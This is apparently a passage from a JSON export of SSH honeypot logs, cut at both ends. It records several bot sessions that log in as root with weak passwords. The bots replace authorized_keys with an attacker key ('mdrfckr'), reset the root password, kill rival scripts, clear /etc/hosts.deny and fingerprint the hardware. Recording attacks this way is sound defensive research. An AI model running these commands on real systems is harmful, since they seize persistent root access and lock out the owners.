-l"},{"seq":15,"at":"2026-08-26T15:10:57.357002+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T15:10:58.208301+00:00","kind":"output","latency_ms":null,"data":" 15:10:58 up 6 days, 12:01, 0 user, load average: 0.14, 0.12, 0.09\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T15:10:58.962039+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T15:10:59.597411+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T15:11:00.351389+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T15:11:01.027440+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T15:11:01.781067+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T15:11:02.587586+00:00","kind":"output","latency_ms":null,"data":"top - 15:11:02 up 6 days, 12:01, 0 user, load average: 0.14, 0.12, 0.09\nTasks: 111 total, 1 running, 110 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6990 free, 8897 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T15:11:03.341812+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T15:11:04.201015+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T15:11:04.955050+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T15:11:05.568400+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T15:11:06.325296+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T15:11:06.823895+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T15:11:07.577341+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T15:11:08.643778+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T15:11:09.397401+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T15:11:10.784453+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"12345678Ab","method":"password","accepted":true,"tier":"other"}]} {"id":"0d61be63-1a1c-4452-9b14-fc7706e888d9","name":"thorny-sincere-gull","protocol":"ssh","channel_kind":"exec","src_ip":"168.167.228.123","src_port":40811,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":784,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T15:05:04.993523+00:00","ended_at":"2026-08-26T15:05:06.290459+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T15:04:37.047901+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T15:04:37.802606+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T15:04:43.891792+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T15:04:44.777651+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T15:04:45.533855+00:00","kind":"input","latency_ms":null,"data":"echo \"root:QT6d041GtHFX\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T15:04:46.289142+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T15:04:47.054540+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T15:04:47.954737+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T15:04:48.740727+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T15:04:49.690036+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T15:04:50.477133+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T15:04:51.873132+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T15:04:52.658180+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T15:04:52.926868+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T15:04:53.711695+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T15:04:54.541337+00:00","kind":"output","latency_ms":null,"data":" 15:04:54 up 6 days, 11:55, 0 user, load average: 0.12, 0.09, 0.12\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T15:04:55.325415+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T15:04:56.006311+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T15:04:56.791128+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T15:04:57.062576+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T15:04:57.848233+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T15:04:58.369716+00:00","kind":"output","latency_ms":null,"data":"top - 15:04:58 up 6 days, 11:55, 0 user, load average: 0.12, 0.09, 0.12\nTasks: 111 total, 1 running, 110 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8579 free, 7308 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T15:04:59.154848+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T15:04:59.695852+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T15:05:00.480728+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T15:05:01.131559+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T15:05:01.917807+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T15:05:02.446083+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T15:05:03.231270+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T15:05:04.206945+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T15:05:04.995521+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T15:05:06.038424+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"1qaz2WSX!","method":"password","accepted":true,"tier":"other"}]} {"id":"9a9314ef-938f-4455-a66f-2e10dba5a5a7","name":"candid-feathered-vole","protocol":"ssh","channel_kind":"exec","src_ip":"157.245.34.56","src_port":53630,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":292,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T15:03:37.292615+00:00","ended_at":"2026-08-26T15:03:38.797555+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T15:03:18.250888+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T15:03:18.541570+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T15:03:22.510604+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T15:03:22.849564+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T15:03:23.138778+00:00","kind":"input","latency_ms":null,"data":"echo \"root:0eBASXcKtxYD\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T15:03:23.429802+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T15:03:23.721243+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T15:03:23.972909+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T15:03:24.264599+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T15:03:25.154004+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T15:03:25.449024+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T15:03:26.403825+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T15:03:26.698795+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T15:03:27.411867+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T15:03:27.701850+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T15:03:27.968063+00:00","kind":"output","latency_ms":null,"data":" 15:03:27 up 6 days, 11:53, 0 user, load average: 0.24, 0.24, 0.25\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T15:03:28.280105+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T15:03:29.069403+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T15:03:29.362697+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T15:03:30.205553+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T15:03:30.496132+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T15:03:31.360167+00:00","kind":"output","latency_ms":null,"data":"top - 15:03:31 up 6 days, 11:53, 0 user, load average: 0.24, 0.24, 0.25\nTasks: 128 total, 1 running, 127 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7626 free, 8261 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T15:03:31.649373+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T15:03:32.372281+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T15:03:32.665556+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T15:03:34.706499+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T15:03:34.999711+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T15:03:35.343625+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T15:03:35.634588+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T15:03:37.002572+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T15:03:37.293190+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T15:03:38.712298+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"7895123","method":"password","accepted":true,"tier":"other"}]} {"id":"0848e902-05b2-401b-b626-d708e9461d50","name":"tangled-prickly-cicada","protocol":"ssh","channel_kind":"exec","src_ip":"157.245.34.56","src_port":60838,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":295,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T15:01:36.456019+00:00","ended_at":"2026-08-26T15:01:38.513231+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T15:01:17.072637+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T15:01:17.367670+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T15:01:20.677860+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T15:01:21.805899+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T15:01:22.098745+00:00","kind":"input","latency_ms":null,"data":"echo \"root:BVfgBbGMPe3l\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T15:01:22.393747+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T15:01:22.691068+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T15:01:23.815596+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T15:01:24.110815+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T15:01:25.120599+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T15:01:25.417781+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T15:01:26.593607+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T15:01:26.892401+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T15:01:28.117010+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T15:01:28.411797+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T15:01:28.681231+00:00","kind":"output","latency_ms":null,"data":" 15:01:28 up 6 days, 11:51, 0 user, load average: 0.16, 0.18, 0.14\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T15:01:28.976883+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T15:01:30.683230+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T15:01:30.977778+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T15:01:31.709482+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T15:01:32.005711+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T15:01:32.350359+00:00","kind":"output","latency_ms":null,"data":"top - 15:01:32 up 6 days, 11:51, 0 user, load average: 0.16, 0.18, 0.14\nTasks: 106 total, 1 running, 105 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6196 free, 9691 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T15:01:32.651220+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T15:01:33.105582+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T15:01:33.403573+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T15:01:33.762854+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T15:01:34.059176+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T15:01:34.724298+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T15:01:35.020246+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T15:01:36.160163+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T15:01:36.457014+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T15:01:38.425088+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Qwerty!@34","method":"password","accepted":true,"tier":"other"}]} {"id":"6950cee9-b1b9-44ad-919f-ff2cce7095de","name":"fabled-sincere-flamingo","protocol":"ssh","channel_kind":"exec","src_ip":"168.167.228.123","src_port":40805,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":754,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T14:59:12.507667+00:00","ended_at":"2026-08-26T14:59:13.746782+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T14:58:45.614199+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T14:58:46.369617+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T14:58:51.966523+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T14:58:52.637366+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T14:58:53.392023+00:00","kind":"input","latency_ms":null,"data":"echo \"root:eM6MVmTswywA\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T14:58:54.143776+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T14:58:54.898311+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T14:58:55.277611+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T14:58:56.032398+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T14:58:57.247416+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T14:58:58.000546+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T14:58:59.055172+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T14:58:59.817256+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T14:59:00.430587+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T14:59:01.185086+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T14:59:01.447492+00:00","kind":"output","latency_ms":null,"data":" 14:59:01 up 6 days, 11:49, 0 user, load average: 0.27, 0.26, 0.28\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T14:59:02.202778+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T14:59:03.081545+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T14:59:03.836954+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T14:59:04.240942+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T14:59:04.994227+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T14:59:05.491816+00:00","kind":"output","latency_ms":null,"data":"top - 14:59:05 up 6 days, 11:49, 0 user, load average: 0.27, 0.26, 0.28\nTasks: 126 total, 1 running, 125 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6831 free, 9056 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T14:59:06.245756+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T14:59:07.091407+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T14:59:07.857724+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T14:59:08.565020+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 